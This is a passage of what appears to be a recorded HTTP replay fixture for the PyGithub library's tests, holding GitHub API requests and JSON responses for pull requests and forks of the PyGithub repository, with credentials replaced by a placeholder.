v3","fork":true,"url":"https://api.github.com/repos/MarcoFalke/PyGithub","forks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/forks","keys_url":"https://api.github.com/repos/MarcoFalke/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarcoFalke/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarcoFalke/PyGithub/teams","hooks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/events","assignees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/MarcoFalke/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/tags","blobs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/MarcoFalke/PyGithub/languages","stargazers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscription","commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/MarcoFalke/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MarcoFalke/PyGithub/merges","archive_url":"https://api.github.com/repos/MarcoFalke/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarcoFalke/PyGithub/downloads","issues_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/MarcoFalke/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/MarcoFalke/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarcoFalke/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/MarcoFalke/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/deployments","created_at":"2018-05-22T13:46:45Z","updated_at":"2018-05-22T15:12:23Z","pushed_at":"2018-05-22T15:12:21Z","git_url":"git://github.com/MarcoFalke/PyGithub.git","ssh_url":"git@github.com:MarcoFalke/PyGithub.git","clone_url":"https://github.com/MarcoFalke/PyGithub.git","svn_url":"https://github.com/MarcoFalke/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11095,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"base":{"label":"MarcoFalke:master","ref":"master","sha":"286272aaf1230cb9553a0ac57211492fec1d8e4c","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"repo":{"id":134421800,"name":"PyGithub","full_name":"MarcoFalke/PyGithub","owner":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/MarcoFalke/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/MarcoFalke/PyGithub","forks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/forks","keys_url":"https://api.github.com/repos/MarcoFalke/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarcoFalke/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarcoFalke/PyGithub/teams","hooks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/events","assignees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/MarcoFalke/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/tags","blobs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/MarcoFalke/PyGithub/languages","stargazers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscription","commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/MarcoFalke/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MarcoFalke/PyGithub/merges","archive_url":"https://api.github.com/repos/MarcoFalke/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarcoFalke/PyGithub/downloads","issues_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/MarcoFalke/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/MarcoFalke/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarcoFalke/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/MarcoFalke/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/deployments","created_at":"2018-05-22T13:46:45Z","updated_at":"2018-05-22T15:12:23Z","pushed_at":"2018-05-22T15:12:21Z","git_url":"git://github.com/MarcoFalke/PyGithub.git","ssh_url":"git@github.com:MarcoFalke/PyGithub.git","clone_url":"https://github.com/MarcoFalke/PyGithub.git","svn_url":"https://github.com/MarcoFalke/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11095,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/3"},"html":{"href":"https://github.com/MarcoFalke/PyGithub/pull/3"},"issue":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/3"},"comments":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/3/comments"},"review_comments":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/3/comments"},"review_comment":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/3/commits"},"statuses":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/6ec2cb2a231084fbc500b81205a334e354016f01"}},"author_association":"OWNER","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":2,"deletions":0,"changed_files":1} https GET api.github.com None /repos/MarcoFalke/PyGithub/pulls/4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '14935'), ('x-runtime-rack', '0.162720'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"fc503f3238dd5064c8dbcaa4d3001745"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '56'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D032:0794:1E3DF96:4B92E95:5B043D4A'), ('last-modified', 'Tue, 22 May 2018 15:09:34 GMT'), ('date', 'Tue, 22 May 2018 15:54:50 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '60'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1527008089')] {"url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/4","id":189692578,"html_url":"https://github.com/MarcoFalke/PyGithub/pull/4","diff_url":"https://github.com/MarcoFalke/PyGithub/pull/4.diff","patch_url":"https://github.com/MarcoFalke/PyGithub/pull/4.patch","issue_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/4","number":4,"state":"open","locked":false,"title":"uncached pull request","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"body":"","created_at":"2018-05-22T14:56:17Z","updated_at":"2018-05-22T15:09:34Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d4b43ebefca88a93fb98b2165ec50c0ac5c6bcf1","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/4/commits","review_comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/4/comments","review_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/4/comments","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/8ce24f41b47a2a02be86f21dd3af0435a7003318","head":{"label":"MarcoFalke:Mf1805-pull_uncached","ref":"Mf1805-pull_uncached","sha":"8ce24f41b47a2a02be86f21dd3af0435a7003318","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"repo":{"id":134421800,"name":"PyGithub","full_name":"MarcoFalke/PyGithub","owner":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/MarcoFalke/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/MarcoFalke/PyGithub","forks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/forks","keys_url":"https://api.github.com/repos/MarcoFalke/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarcoFalke/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarcoFalke/PyGithub/teams","hooks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/events","assignees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/MarcoFalke/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/tags","blobs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/MarcoFalke/PyGithub/languages","stargazers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscription","commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/MarcoFalke/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MarcoFalke/PyGithub/merges","archive_url":"https://api.github.com/repos/MarcoFalke/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarcoFalke/PyGithub/downloads","issues_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/MarcoFalke/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/MarcoFalke/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarcoFalke/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/MarcoFalke/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/deployments","created_at":"2018-05-22T13:46:45Z","updated_at":"2018-05-22T15:12:23Z","pushed_at":"2018-05-22T15:12:21Z","git_url":"git://github.com/MarcoFalke/PyGithub.git","ssh_url":"git@github.com:MarcoFalke/PyGithub.git","clone_url":"https://github.com/MarcoFalke/PyGithub.git","svn_url":"https://github.com/MarcoFalke/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11095,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"base":{"label":"MarcoFalke:master","ref":"master","sha":"286272aaf1230cb9553a0ac57211492fec1d8e4c","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"repo":{"id":134421800,"name":"PyGithub","full_name":"MarcoFalke/PyGithub","owner":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/MarcoFalke/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/MarcoFalke/PyGithub","forks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/forks","keys_url":"https://api.github.com/repos/MarcoFalke/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarcoFalke/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarcoFalke/PyGithub/teams","hooks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/events","assignees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/MarcoFalke/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/tags","blobs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/MarcoFalke/PyGithub/languages","stargazers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscription","commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/MarcoFalke/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MarcoFalke/PyGithub/merges","archive_url":"https://api.github.com/repos/MarcoFalke/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarcoFalke/PyGithub/downloads","issues_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/MarcoFalke/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/MarcoFalke/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarcoFalke/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/MarcoFalke/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/deployments","created_at":"2018-05-22T13:46:45Z","updated_at":"2018-05-22T15:12:23Z","pushed_at":"2018-05-22T15:12:21Z","git_url":"git://github.com/MarcoFalke/PyGithub.git","ssh_url":"git@github.com:MarcoFalke/PyGithub.git","clone_url":"https://github.com/MarcoFalke/PyGithub.git","svn_url":"https://github.com/MarcoFalke/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11095,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/4"},"html":{"href":"https://github.com/MarcoFalke/PyGithub/pull/4"},"issue":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/4"},"comments":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/4/comments"},"review_comments":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/4/comments"},"review_comment":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/4/commits"},"statuses":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/8ce24f41b47a2a02be86f21dd3af0435a7003318"}},"author_association":"OWNER","merged":false,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":2,"deletions":0,"changed_files":1} https GET api.github.com None /repos/FlorentClarret/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Apr 2020 19:21:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1586809318'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2b0e63610b8af159b06ef8720cb38c75"'), ('Last-Modified', 'Mon, 13 Apr 2020 14:45:20 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, delete_repo, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C3FC:0BB0:80F47D8:9742E07:5E94BBD6')] {"id":255355160,"node_id":"MDEwOlJlcG9zaXRvcnkyNTUzNTUxNjA=","name":"PyGithub","full_name":"FlorentClarret/PyGithub","private":false,"owner":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"html_url":"https://github.com/FlorentClarret/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/FlorentClarret/PyGithub","forks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/forks","keys_url":"https://api.github.com/repos/FlorentClarret/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/FlorentClarret/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/FlorentClarret/PyGithub/teams","hooks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/events","assignees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/FlorentClarret/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/tags","blobs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/FlorentClarret/PyGithub/languages","stargazers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscribers","subscription_url":"h